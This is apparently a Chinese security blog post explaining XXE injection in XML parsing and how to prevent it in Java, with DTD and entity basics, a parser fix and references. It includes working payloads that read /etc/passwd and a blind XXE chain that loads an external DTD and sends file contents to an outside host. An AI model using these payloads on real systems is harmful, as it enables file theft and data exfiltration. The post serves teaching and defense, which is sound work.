XXE漏洞原理以及防御方式
前言
web中除了我们熟悉的传参,或者JSON格式实现客户端与服务器之间的数据交流,还有XML的方式,熟悉开发的小伙伴肯定接触过它,比如在SpringMVC中的各种配置。同时XML也是许多使用XML schemas实行数据交换的协议的基础,例如RSS,Atom,SOAP等。
那么在web中使用XML进行数据交互会出现什么安全问题呢,这就是我们这里要讲的XXE漏洞。
XXE漏洞介绍
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol
里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。
相关概念以及利用方式
DTD
DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
引用方式:
-
DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>
-
DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
-
引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
ENTITY
XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "Hello">
<!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>

2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。

<!ENTITY 实体名称 SYSTEM "URI/URL">
如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Param!">
<!ENTITY y "Second Param!">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>

3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">
或者<!ENTITY % 实体名称 SYSTEM "URI">
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
<!ENTITY % dtd SYSTEM "http://rui0.cn/test/evil.dtd">
%dtd;
%send;
]>
evil.dtd 内部的%号要进行实体编码成%
(这里的http://127.0.0.1:8888
大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;

XXE漏洞防御
JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX
1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。
// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC
最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
修复代码如:
public String xxe_SAXParser_fix(HttpServletRequest request) {
try {
String xml_con = getBody(request);
System.out.println(xml_con);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml
return "test";
} catch (Exception e) {
System.out.println(e);
return "except";
}
}
2.检测/过滤关键词
常见的可以过滤ENTITY
,openrasp采用的方式为检测敏感协议和读取的敏感文件。但都存在被绕过的风险。
参考
https://xz.aliyun.com/t/2761
http://www.freebuf.com/column/156863.html
https://resources.infosecinstitute.com/xxe-attacks/
http://skysec.top/2018/08/17/浅析xml及其安全问题/
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://github.com/JoyChou93/java-sec-code
近期评论